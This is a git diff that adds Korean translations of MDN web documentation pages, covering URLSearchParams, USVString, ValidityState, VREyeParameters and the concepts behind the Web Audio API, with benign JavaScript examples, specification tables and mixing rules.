+//두번째 foo 파라미터를 추가합니다.
+params.append('foo', 4);
+console.log(params.toString());
+//'foo=1&bar=2&foo=4'를 출력합니다.
+
+// note: params can also be directly created
+let url = new URL('https://example.com?foo=1&bar=2');
+let params = url.searchParams;
+
+// or even simpler
+let params = new URLSearchParams('foo=1&bar=2');
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#interface-urlsearchparams', "toString() (see \"stringifier\")")}}{{Spec2('URL')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.URLSearchParams.toString")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/urlsearchparams/urlsearchparams/index.html b/files/ko/web/api/urlsearchparams/urlsearchparams/index.html new file mode 100644 index 0000000000..94f138a633 --- /dev/null +++ b/files/ko/web/api/urlsearchparams/urlsearchparams/index.html @@ -0,0 +1,76 @@ +--- +title: URLSearchParams() +slug: Web/API/URLSearchParams/URLSearchParams +translation_of: Web/API/URLSearchParams/URLSearchParams +--- +

{{ApiRef("URL API")}}

+ +

URLSearchParams() 생성자는 새로운 {{domxref("URLSearchParams")}} 객체를 생성하고 반환합니다.

+ +

{{availableinworkers}}

+ +

구문

+ +
var URLSearchParams = new URLSearchParams(init);
+ +

매개변수

+ +

init {{optional_inline}}

+ +

다음 중 하나:

+ + + +

반환값

+ +

{{domxref("URLSearchParams")}} 객체 인스턴스

+ +

예제

+ +

다음 예제는 URL string으로부터 {{domxref("URLSearchParams")}} 객체가 어떻게 만들어지는지를 보여줍니다.

+ +
// url 생성자에 전달된 주소를 url.search를 통해 params라는 변수로 검색합니다.
+var url = new URL('https://example.com?foo=1&bar=2');
+var params = new URLSearchParams(url.search);
+
+// 문자열 리터럴을 전달합니다.
+var params2 = new URLSearchParams("foo=1&bar=2");
+var params2a = new URLSearchParams("?foo=1&bar=2");
+
+// 일련의 쌍으로 전달합니다.
+var params3 = new URLSearchParams([["foo", "1"], ["bar", "2"]]);
+
+// 레코드로 전달합니다.
+var params4 = new URLSearchParams({"foo": "1", "bar": "2"});
+
+ +

사양

+ + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('URL', '#dom-urlsearchparams-urlsearchparams', "URLSearchParams()")}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.URLSearchParams.URLSearchParams")}}

+
diff --git a/files/ko/web/api/usvstring/index.html b/files/ko/web/api/usvstring/index.html new file mode 100644 index 0000000000..b3282f2b96 --- /dev/null +++ b/files/ko/web/api/usvstring/index.html @@ -0,0 +1,40 @@ +--- +title: USVString +slug: Web/API/USVString +tags: + - API + - DOM + - Reference + - String + - WebIDL +translation_of: Web/API/USVString +--- +
{{APIRef("DOM")}}
+ +

USVString은 유니코드 스칼라 값의 모든 가능한 시퀀스 집합에 해당합니다. USVString이 JavaScript로 전달될 땐 {{jsxref("String")}}으로 매핑되며, 보통 유니코드 스칼라 값 문자열을 필요로 하는 텍스트 처리 API에서만 사용합니다. USVString은 짝짓지 않은 서로게이트 코드포인트를 허용하지 않는 점을 제외하면 {{domxref("DOMString")}}과 같습니다. USVString의 해당 코드포인트는 브라우저가 유니코드 "대체 문자" U+FFFD(�)로 변환합니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebIDL', '#idl-USVString', 'USVString')}}{{Spec2('WebIDL')}}초기 정의.
+ +

같이 보기

+ + diff --git a/files/ko/web/api/validitystate/index.html b/files/ko/web/api/validitystate/index.html new file mode 100644 index 0000000000..ee2e9a1b6e --- /dev/null +++ b/files/ko/web/api/validitystate/index.html @@ -0,0 +1,83 @@ +--- +title: ValidityState +slug: Web/API/ValidityState +tags: + - API + - Constraint Validation API + - Forms + - HTML DOM + - Interface +translation_of: Web/API/ValidityState +--- +
{{APIRef("HTML DOM")}}
+ +

ValidityState 인터페이스는 제약 유효성 검사에 대해 요소가 가질 수 있는 유효성 상태를 나타내며, 요소의 값이 유효하지 않은 경우 그 이유에 대한 설명을 도와줍니다.

+ +

속성

+ +

각각의 {{jsxref("Boolean")}} 속성에 대해, true 값은 해당 이유로 인해 값의 유효성 검사를 실패했음을 나타냅니다. valid 속성은 예외로서 true는 모든 제약조건을 통과했음을 의미합니다.

+ +
+
{{domxref("ValidityState.badInput", "badInput")}} {{ReadOnlyInline}}
+
사용자가 입력한 값을 브라우저가 변환하지 못했음을 나타내는 {{jsxref("Boolean")}} 값입니다.
+
customError {{ReadOnlyInline}}
+
{{domxref('HTMLObjectElement.setCustomValidity', 'setCustomValidity()')}} 메서드를 사용해 요소의 사용자 지정 유효성 메시지를 비어있지 않은 문자열로 설정했는지를 나타내는 {{jsxref("Boolean")}} 값입니다.
+
{{domxref("ValidityState.patternMismatch", "patternMismatch")}} {{ReadOnlyInline}}
+
값이 주어진 {{htmlattrxref("pattern", "input")}} 특성을 만족하지 못하는지 나타내는 {{jsxref("Boolean")}} 값입니다 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.rangeOverflow", "rangeOverflow")}} {{ReadOnlyInline}}
+
값이 주어진 {{htmlattrxref("max", "input")}} 특성보다 큰지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.rangeUnderflow", "rangeUnderflow")}} {{ReadOnlyInline}}
+
값이 주어진 {{htmlattrxref("min", "input")}} 특성보다 작은지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.stepMismatch", "stepMismatch")}} {{ReadOnlyInline}}
+
값이 주어진 {{htmlattrxref("step", "input")}} 특성의 규칙을 만족하지 않는지 (즉, 값을 스텝 값으로 나눌 수 없는지) 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.tooLong", "tooLong")}} {{ReadOnlyInline}}
+
값이 {{domxref("HTMLInputElement")}} 또는 {{domxref("HTMLTextAreaElement")}} 객체의 maxlength 값보다 긴지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.tooShort", "tooShort")}} {{ReadOnlyInline}}
+
값이 {{domxref("HTMLInputElement")}} 또는 {{domxref("HTMLTextAreaElement")}} 객체의 minLength 값보다 짧은지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.typeMismatch", "typeMismatch")}} {{ReadOnlyInline}}
+
값이 입력 유형에서 요구하는 형식({{htmlattrxref("type", "input")}}이 email이나 url인 경우)에 맞지 않는지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.
+
valid {{ReadOnlyInline}}
+
요소가 모든 유효성 제약을 만족하여 유효한 상태인지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우 CSS {{cssxref(":valid")}} 의사 클래스를, 거짓일 경우 {{cssxref(":invalid")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.valueMissing", "valueMissing")}} {{ReadOnlyInline}}
+
요소가 {{htmlattrxref("required", "input")}} 특성을 가지고 있지만 값은 없는 경우 참인 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'form-control-infrastructure.html#validitystate', 'ValidityState') }}{{Spec2('HTML WHATWG')}}Living Standard
{{ SpecName('HTML5.1', 'sec-forms.html#validitystate-validitystate', 'ValidityState') }}{{Spec2('HTML5.1')}}No change from the previous snapshot {{SpecName('HTML5 W3C')}}.
{{ SpecName('HTML5 W3C', 'forms.html#validitystate', 'ValidityState') }}{{Spec2('HTML5 W3C')}}First snapshot of  {{SpecName('HTML WHATWG')}} containing this interface.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ValidityState")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/vreyeparameters/index.html b/files/ko/web/api/vreyeparameters/index.html new file mode 100644 index 0000000000..79f25639ba --- /dev/null +++ b/files/ko/web/api/vreyeparameters/index.html @@ -0,0 +1,88 @@ +--- +title: VREyeParameters +slug: Web/API/VREyeParameters +tags: + - API + - Experimental + - Landing + - Reference + - VR + - Virtual Reality + - WebVR +translation_of: Web/API/VREyeParameters +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

WebVR API의 VREyeParameters 인터페이스는 시야 정보 필드를 포함하여 특정한 눈에 대한 장면을 정확하게 렌더링 하는 데 필요한 모든 정보를 나타냅니다.

+ +

{{domxref("VRDisplay.getEyeParameters()")}} 방법을 통해 액세스 할 수 있습니다.

+ +
+

The values in this interface should not be used to compute view or projection matrices. In order to ensure the widest possible hardware compatibility use the matrices provided by {{domxref("VRFrameData")}}.

+
+ +

속성

+ +
+
{{domxref("VREyeParameters.offset")}} {{readonlyInline}}
+
사용자 눈 사이의 중심점에서 눈 중심까지의 거리를 미터 단위로 나타냅니다.
+
{{domxref("VREyeParameters.fieldOfView")}} {{readonlyInline}}
+
현재 눈에 보이는 시야를 설명하며,사용자가 동공 사이의 거리(m/s)를 조절할 때 달라질 수 있습니다.(IPD).
+
{{domxref("VREyeParameters.renderWidth")}} {{readonlyInline}}
+
각 눈 뷰포트의 권장 렌더 타겟 폭을 픽셀 단위로 설명합니다.
+
{{domxref("VREyeParameters.renderHeight")}} {{readonlyInline}}
+
각 눈 뷰포트의 권장 렌더 타겟 높이를 픽셀 단위로 나타냅니다..
+
+ +

예제

+ +
navigator.getVRDisplays().then(function(displays) {
+  // If a display is available, use it to present the scene
+  vrDisplay = displays[0];
+  console.log('Display found');
+  // Starting the presentation when the button is clicked:
+  //   It can only be called in response to a user gesture
+  btn.addEventListener('click', function() {
+    vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+      console.log('Presenting to WebVR display');
+
+      // Set the canvas size to the size of the vrDisplay viewport
+
+      var leftEye = vrDisplay.getEyeParameters('left');
+      var rightEye = vrDisplay.getEyeParameters('right');
+
+      canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+      canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);
+
+      drawVRScene();
+    });
+  });
+});
+ +

명세

+ + + + + + + + + + + + + + +
명세상태설명
{{SpecName('WebVR 1.1', '#vreyeparameters', 'VREyeParameters')}}{{Spec2('WebVR 1.1')}}최초 정의
+ +

브라우저 호환성

+ +

{{Compat("api.VREyeParameters")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html b/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html new file mode 100644 index 0000000000..571c15684e --- /dev/null +++ b/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html @@ -0,0 +1,354 @@ +--- +title: Basic concepts behind Web Audio API +slug: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API +tags: + - 가이드 + - 미디어 + - 오디오 + - 웹오디오API + - 웹오디오API이론 + - 이론 + - 컨셉 +translation_of: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API +--- +
+

Web Audio API의 기능이 어떻게 동작하는지에 대한 오디오 이론에 대해서 설명합니다. 마스터 사운드 엔지니어가 될 수 는 없지만, Web Audio API가 왜 그렇게 작동하는지에 대해 이해할 수 있는 충분한 배경 지식을 제공해서 개발중에 더 나은 결정을 내릴 수 있게합니다. 

+
+ +

Audio graphs

+ +

The Web Audio API involves handling audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. Several sources — with different types of channel layout — are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects.

+ +

Audio nodes are linked via their inputs and outputs, forming a chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination. Although, you don't have to provide a destination if you, say, just want to visualize some audio data. A simple, typical workflow for web audio would look something like this:

+ +
    +
  1. Create audio context.
  2. +
  3. Inside the context, create sources — such as <audio>, oscillator, stream.
  4. +
  5. Create effects nodes, such as reverb, biquad filter, panner, compressor.
  6. +
  7. Choose final destination of audio, for example your system speakers.
  8. +
  9. Connect the sources up to the effects, and the effects to the destination.
  10. +
+ +

A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information.

+ +

Each input or output is composed of several channels, which represent a specific audio layout. Any discrete channel structure is supported, including mono, stereo, quad, 5.1, and so on.

+ +

Show the ability of AudioNodes to connect via their inputs and outputs and the channels inside these inputs/outputs.

+ +

Audio sources can come from a variety of places:

+ + + +

Audio data: what's in a sample

+ +

When an audio signal is processed, sampling means the conversion of a continuous signal to a discrete signal; or put another way, a continuous sound wave, such as a band playing live, is converted to a sequence of samples (a discrete-time signal) that allow a computer to handle the audio in distinct blocks.

+ +

A lot more information can be found on the Wikipedia page Sampling (signal processing).

+ +

Audio buffers: frames, samples and channels

+ +

An {{ domxref("AudioBuffer") }} takes as its parameters a number of channels (1 for mono, 2 for stereo, etc), a length, meaning the number of sample frames inside the buffer, and a sample rate, which is the number of sample frames played per second.

+ +

A sample is a single float32 value that represents the value of the audio stream at each specific point in time, in a specific channel (left or right, if in the case of stereo). A frame, or sample frame, is the set of all values for all channels that will play at a specific point in time: all the samples of all the channels that play at the same time (two for a stereo sound, six for 5.1, etc.)

+ +

The sample rate is the number of those samples (or frames, since all samples of a frame play at the same time) that will play in one second, measured in Hz. The higher the sample rate, the better the sound quality.

+ +

Let's look at a Mono and a Stereo audio buffer, each is one second long, and playing at 44100Hz:

+ + + +

A diagram showing several frames in an audio buffer in a long line, each one containing two samples, as the buffer has two channels, it is stereo.

+ +

When a buffer plays, you will hear the left most sample frame, and then the one right next to it, etc. In the case of stereo, you will hear both channels at the same time. Sample frames are very useful, because they are independent of the number of channels, and represent time, in a useful way for doing precise audio manipulation.

+ +
+

Note: To get a time in seconds from a frame count, simply divide the number of frames by the sample rate. To get a number of frames from a number of samples, simply divide by the channel count.

+
+ +

Here's a couple of simple trivial examples:

+ +
var context = new AudioContext();
+var buffer = context.createBuffer(2, 22050, 44100);
+ +
+

Note: In digital audio44,100 Hz (alternately represented as 44.1 kHz) is a common sampling frequency. Why 44.1kHz? 
+
+ Firstly, because the hearing range of human ears is roughly 20 Hz to 20,000 Hz. Via the Nyquist–Shannon sampling theorem, the sampling frequency must be greater than twice the maximum frequency one wishes to reproduce. Therefore, the sampling rate has to be greater than 40 kHz.
+
+ Secondly, signals must be low-pass filtered before sampling, otherwise aliasing occurs. While an ideal low-pass filter would perfectly pass frequencies below 20 kHz (without attenuating them) and perfectly cut off frequencies above 20 kHz, in practice a transition band is necessary, where frequencies are partly attenuated. The wider this transition band is, the easier and more economical it is to make an anti-aliasing filter. The 44.1 kHz sampling frequency allows for a 2.05 kHz transition band.

+
+ +

If you use this call above, you will get a stereo buffer with two channels, that when played back on an AudioContext running at 44100Hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames/44100Hz = 0.5 seconds.

+ +
var context = new AudioContext();
+var buffer = context.createBuffer(1, 22050, 22050);
+ +

If you use this call, you will get a mono buffer with just one channel), that when played back on an AudioContext running at 44100Hz, will be automatically resampled to 44100Hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames/44100Hz = 1 second.

+ +
+

Note: audio resampling is very similar to image resizing. Say you've got a 16 x 16 image, but you want it to fill a 32x32 area. You resize (or resample) it. The result has less quality (it can be blurry or edgy, depending on the resizing algorithm), but it works, with the resized image taking up less space. Resampled audio is exactly the same: you save space, but in practice you will be unable to properly reproduce high frequency content, or treble sound.

+
+ +

Planar versus interleaved buffers

+ +

The Web Audio API uses a planar buffer format. The left and right channels are stored like this:

+ +
LLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRR (for a buffer of 16 frames)
+ +

This is very common in audio processing: it makes it easy to process each channel independently.

+ +

The alternative is to use an interleaved buffer format:

+ +
LRLRLRLRLRLRLRLRLRLRLRLRLRLRLRLR (for a buffer of 16 frames)
+ +

This format is very common for storing and playing back audio without much processing, for example a decoded MP3 stream.
+
+ The Web Audio API exposes only planar buffers, because it's made for processing. It works with planar, but converts the audio to interleaved when it is sent to the sound card for playback. Conversely, when an MP3 is decoded, it starts off in interleaved format, but is converted to planar for processing.

+ +

Audio channels

+ +

Different audio buffers contain different numbers of channels: from the more basic mono (only one channel) and stereo (left and right channels), to more complex sets like quad and 5.1, which have different sound samples contained in each channel, leading to a richer sound experience. The channels are usually represented by standard abbreviations detailed in the table below:

+ + + + + + + + + + + + + + + + + + + + +
Mono0: M: mono
Stereo0: L: left
+ 1: R: right
Quad0: L: left
+ 1: R: right
+ 2: SL: surround left
+ 3: SR: surround right
5.10: L: left
+ 1: R: right
+ 2: C: center
+ 3: LFE: subwoofer
+ 4: SL: surround left
+ 5: SR: surround right
+ +

Up-mixing and down-mixing

+ +

When the number of channels doesn't match between an input and an output, up- or down-mixing happens according the following rules. This can be somewhat controlled by setting the {{domxref("AudioNode.channelInterpretation")}} property to speakers or discrete:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
InterpretationInput channelsOutput channelsMixing rules
speakers1 (Mono)2 (Stereo)Up-mix from mono to stereo.
+ The M input channel is used for both output channels (L and R).
+ output.L = input.M
+ output.R = input.M
1 (Mono)4 (Quad)Up-mix from mono to quad.
+ The M input channel is used for non-surround output channels (L and R). Surround output channels (SL and SR) are silent.
+ output.L = input.M
+ output.R = input.M
+ output.SL = 0
+ output.SR = 0
1 (Mono)6 (5.1)Up-mix from mono to 5.1.
+ The M input channel is used for the center output channel (C). All the others (L, R, LFE, SL, and SR) are silent.
+ output.L = 0
+ output.R = 0

+ output.C = input.M
+ output.LFE = 0
+ output.SL = 0
+ output.SR = 0
2 (Stereo)1 (Mono)Down-mix from stereo to mono.
+ Both input channels (L and R) are equally combined to produce the unique output channel (M).
+ output.M = 0.5 * (input.L + input.R)
2 (Stereo)4 (Quad)Up-mix from stereo to quad.
+ The L and R input channels are used for their non-surround respective output channels (L and R). Surround output channels (SL and SR) are silent.
+ output.L = input.L
+ output.R = input.R
+ output.SL = 0
+ output.SR = 0
2 (Stereo)6 (5.1)Up-mix from stereo to 5.1.
+ The L and R input channels are used for their non-surround respective output channels (L and R). Surround output channels (SL and SR), as well as the center (C) and subwoofer (LFE) channels, are left silent.
+ output.L = input.L
+ output.R = input.R
+ output.C = 0
+ output.LFE = 0
+ output.SL = 0
+ output.SR = 0
4 (Quad)1 (Mono)Down-mix from quad to mono.
+ All four input channels (L, R, SL, and SR) are equally combined to produce the unique output channel (M).
+ output.M = 0.25 * (input.L + input.R + input.SL + input.SR)
4 (Quad)2 (Stereo)Down-mix from quad to stereo.
+ Both left input channels (L and SL) are equally combined to produce the unique left output channel (L). And similarly, both right input channels (R and SR) are equally combined to produce the unique right output channel (R).
+ output.L = 0.5 * (input.L + input.SL)
+ output.R = 0.5 * (input.R + input.SR)
4 (Quad)6 (5.1)Up-mix from quad to 5.1.
+ The L, R, SL, and SR input channels are used for their respective output channels (L and R). Center (C) and subwoofer (LFE) channels are left silent.
+ output.L = input.L
+ output.R = input.R
+ output.C = 0
+ output.LFE = 0
+ output.SL = input.SL
+ output.SR = input.SR
6 (5.1)1 (Mono)Down-mix from 5.1 to mono.
+ The left (L and SL), right (R and SR) and central channels are all mixed together. The surround channels are slightly attenuated and the regular lateral channels are power-compensated to make them count as a single channel by multiplying by √2/2. The subwoofer (LFE) channel is lost.
+ output.M = 0.7071 * (input.L + input.R) + input.C + 0.5 * (input.SL + input.SR)
6 (5.1)2 (Stereo)Down-mix from 5.1 to stereo.
+ The central channel (C) is summed with each lateral surround channel (SL or SR) and mixed to each lateral channel. As it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by √2/2. The subwoofer (LFE) channel is lost.
+ output.L = input.L + 0.7071 * (input.C + input.SL)
+ output.R = input.R
+ 0.7071 * (input.C + input.SR)
6 (5.1)4 (Quad)Down-mix from 5.1 to quad.
+ The central (C) is mixed with the lateral non-surround channels (L and R). As it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by √2/2. The surround channels are passed unchanged. The subwoofer (LFE) channel is lost.
+ output.L = input.L + 0.7071 * input.C
+ output.R = input.R + 0.7071 * input.C
+ output.SL = input.SL
+ output.SR = input.SR
Other, non-standard layoutsNon-standard channel layouts are handled as if channelInterpretation is set to discrete.
+ The specification explicitly allows the future definition of new speaker layouts. This fallback is therefore not future proof as the behavior of the browsers for a specific number of channels may change in the future.
discreteany (x)any (y) where x<yUp-mix discrete channels.
+ Fill each output channel with its input counterpart, that is the input channel with the same index. Channels with no corresponding input channels are left silent.
any (x)any (y) where x>yDown-mix discrete channels.
+ Fill each output channel with its input counterpart, that is the input channel with the same index. Input channels with no corresponding output channels are dropped.
+ +

Visualizations

+ +

In general, audio visualizations are achieved by accessing an ouput of audio data over time, usually gain or frequency data, and then using a graphical technology to turn that into a visual output, such as a graph. The Web Audio API has an {{domxref("AnalyserNode")}} available that doesn't alter the audio signal passing through it. Instead it outputs audio data that can be passed to a visualization technology such as {{htmlelement("canvas")}}.

+ +

Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT.

+ +

You can grab data using the following methods:

+ +
+
{{domxref("AnalyserNode.getFloatFrequencyData()")}}
+
Copies the current frequency data into a {{domxref("Float32Array")}} array passed into it.
+
+ +
+
{{domxref("AnalyserNode.getByteFrequencyData()")}}
+
Copies the current frequency data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.
+
+ +
+
{{domxref("AnalyserNode.getFloatTimeDomainData()")}}
+
Copies the current waveform, or time-domain, data into a {{domxref("Float32Array")}} array passed into it.
+
{{domxref("AnalyserNode.getByteTimeDomainData()")}}
+
Copies the current waveform, or time-domain, data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.
+
+ +
+

Note: For more information, see our Visualizations with Web Audio API article.

+
+ +

Spatialisations

+ +
+

An audio spatialisation (handled by the {{domxref("PannerNode")}} and {{domxref("AudioListener")}} nodes in the Web Audio API) allows us to model the position and behavior of an audio signal at a certain point in space, and the listener hearing that audio.

+ +

The panner's position is described with right-hand Cartesian coordinates; its movement using a velocity vector, necessary for creating Doppler effects, and its directionality using a directionality cone.The cone can be very large, e.g. for omnidirectional sources.

+
+ +

The PannerNode brings a spatial position and velocity and a directionality for a given signal.

+ +
+

The listener's position is described using right-hand Cartesian coordinates; its movement using a velocity vector and the direction the listener's head is pointing using two direction vectors: up and front. These respectively define the direction of the top of the listener's head, and the direction the listener's nose is pointing, and are at right angles to one another.

+
+ +

The PannerNode brings a spatial position and velocity and a directionality for a given signal.

+ +
+

Note: For more information, see our Web audio spatialization basics article.

+
+ +

Fan-in and Fan-out

+ +

In audio terms, fan-in describes the process by which a {{domxref("ChannelMergerNode")}} takes a series of mono input sources and outputs a single multi-channel signal:

+ +

+ +

Fan-out describes the opposite process, whereby a {{domxref("ChannelSplitterNode")}} takes a multi-channel input source and outputs multiple mono output signals:

+ +

diff --git a/files/ko/web/api/web_audio_api/index.html b/files/ko/web/api/web_audio_api/index.html new file mode 100644 index 0000000000..714ccdb2af --- /dev/null +++ b/files/ko/web/api/web_audio_api/index.html @@ -0,0 +1,523 @@ +--- +title: Web Audio API +slug: Web/API/Web_Audio_API +translation_of: Web/API/Web_Audio_API +--- +
+

Web Audio API는 웹에서 오디오를 제어하기 위한 강력하고 다양한 기능을 제공합니다. Web Audio API를 이용하면 오디오 소스를 선택할 수 있도록 하거나, 오디오에 이펙트를 추가하거나, 오디오를 시각화하거나, 패닝과 같은 공간 이펙트를 적용시키는 등의 작업이 가능합니다.

+
+ +

Web audio의 개념과 사용법

+ +

Web Audio API는 오디오 컨텍스트 내부의 오디오 조작을 핸들링하는 것을 포함하며, 모듈러 라우팅을 허용하도록 설계되어 있습니다. 기본적인 오디오 연산은 오디오 노드를 통해 수행되며, 오디오 노드는 서로 연결되어 오디오 라우팅 그래프를 형성합니다. 서로 다른 타입의 채널 레이아웃을 포함한 다수의 오디오 소스는 단일 컨텍스트 내에서도 지원됩니다. 이 모듈식 설계는 역동적이고 복합적인 오디오 기능 생성을 위한 유연성을 제공합니다.

+ +

오디오 노드는 각각의 입력과 출력을 통해 체인과 간단한 망으로 연결됩니다. 이들은 일반적으로 하나 이상의 소스로 시작합니다. 소스들은 초당 수만 개 가량의 아주 작은 시간 단위의 음향 인텐시티(샘플) 배열로 제공됩니다. 소스는 {{domxref("OscillatorNode")}}와 같이 수학적으로 계산된 것이거나, {{domxref("AudioBufferSourceNode")}} 또는 {{domxref("MediaElementAudioSourceNode")}}와 같은 사운드/비디오 파일, 마지막으로 {{domxref("MediaStreamAudioSourceNode")}}와 같은 오디오 스트림일 수 있습니다. 사실, 사운드 파일은 마이크나 전자기기로 생성된 음향 인텐시티가 녹음된 것에 불과하며, 하나의 복합적인 파동으로 믹싱됩니다.

+ +

오디오 노드의 출력은 다른 노드의 입력 단자와 연결될 수 있습니다. 이 입력은 노드의 사운드 샘플 스트림을 다른 스트림으로 믹스하거나 변경합니다. 일반적인 변경은 {{domxref("GainNode")}}와 같이 샘플에 소리를 더 키우거나 줄이는 값을 곱하는 것입니다. 사운드가 의도된 이펙트를 위해 충분히 처리되면, 이를 {{domxref("AudioContext.destination")}}의 입력에 연결해 사운드를 스피커와 헤드폰으로 출력합니다. 이 연결은 사용자가 오디오를 듣도록 하기 위한 용도로만 필요합니다.

+ +

웹 오디오의 간단하고 일반적인 작업 흐름은 다음과 같습니다 :

+ +
    +
  1. 오디오 컨텍스트를 생성합니다.
  2. +
  3. 컨텍스트 내에 소스를 생성합니다.(ex - <audio>, 발진기, 스트림)
  4. +
  5. 이펙트 노드를 생성합니다. (ex - 잔향 효과,  바이쿼드 필터, 패너, 컴프레서 등)
  6. +
  7. 오디오의 최종 목적지를 선택합니다. (ex - 시스템 스피커)
  8. +
  9. 사운드를 이펙트에 연결하고, 이펙트를 목적지에 연결합니다.
  10. +
+ +

A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information.

+ +

높은 정확도와 적은 지연시간을 가진 타이밍 계산 덕분에, 개발자는 높은 샘플 레이트에서도 특정 샘플을 대상으로 이벤트에 정확하게 응답하는 코드를 작성할 수 있습니다. 따라서 드럼 머신이나 시퀀서 등의 어플리케이션은 충분히 구현 가능합니다.

+ +

Web Audio API는 오디오가 어떻게 공간화될지 컨트롤할 수 있도록 합니다. 소스-리스너 모델을 기반으로 하는 시스템을 사용하면 패닝 모델거리-유도 감쇄 혹은 움직이는 소스(혹은 움직이는 청자)를 통해 유발된 도플러 시프트 컨트롤이 가능합니다.

+ +
+

Basic concepts behind Web Audio API 아티클에서 Web Audio API 이론에 대한 더 자세한 내용을 읽을 수 있습니다.

+
+ +

Web Audio API 타겟 사용자층

+ +

오디오나 음악 용어에 익숙하지 않은 사람은 Web Audio API가 막막하게 느껴질 수 있습니다. 또한 Web Audio API가 굉장히 다양한 기능을 제공하는 만큼 개발자로서는 시작하기 어렵게 느껴질 수 있습니다.

+ +

Web Audio API는 futurelibrary.no에서와 같이 배경 음악을 깔거나, 작성된 폼에 대한 피드백을 제공하는 등, 웹사이트에 간단한 오디오 기능을 제공하는 데에 사용될 수 있습니다. 그리고 물론 상호작용 가능한 상급자용 악기 기능을 만드는 데에도 사용할 수 있습니다. 따라서 Web Audio API는 개발자와 뮤지션 모두가 사용 가능합니다.

+ +

프로그래밍에는 익숙하지만 각종 용어나 API의 구조에 대해 공부하고 싶으신 분들을 위한 간단한 튜토리얼이 준비되어 있습니다.

+ +

Web Audio API의 원리에는 API 내에서 디지털 오디오가 어떻게 동작하는지 나와 있습니다. 해당 문서에는 API가 어떤 원리를 이용해 작성되었는지에 대한 설명도 잘 되어 있습니다.

+ +

코드를 작성하는 것은 카드 게임과 비슷합니다. 규칙을 배우고, 플레이합니다. 모르겠는 규칙은 다시 공부하고, 다시 새로운 판을 합니다. 마찬가지로, 이 문서와 첫 튜토리얼에서 설명하는 것만으로 부족하다고 느끼신다면 첫 튜토리얼의 내용을 보충하는 동시에 여러 테크닉을 이용하여 스텝 시퀀서를 만드는 법을 설명하는 상급자용 튜토리얼을 읽어보시는 것을 추천합니다.

+ +

그 외에도 이 페이지의 사이드바에서 API의 모든 기능을 설명하는 참고자료와 다양한 튜토리얼을 찾아 보실 수 있습니다.

+ +

만약에 프로그래밍보다는 음악이 친숙하고, 음악 이론에 익숙하며, 악기를 만들고 싶으시다면 바로 상급자용 튜토리얼부터 시작하여 여러가지를 만들기 시작하시면 됩니다. 위의 튜토리얼은 음표를 배치하는 법, 저주파 발진기 등 맞춤형 Oscillator(발진기)와 Envelope를 설계하는 법 등을 설명하고 있으니, 이를 읽으며 사이드바의 자료를 참고하시면 될 것입니다.

+ +

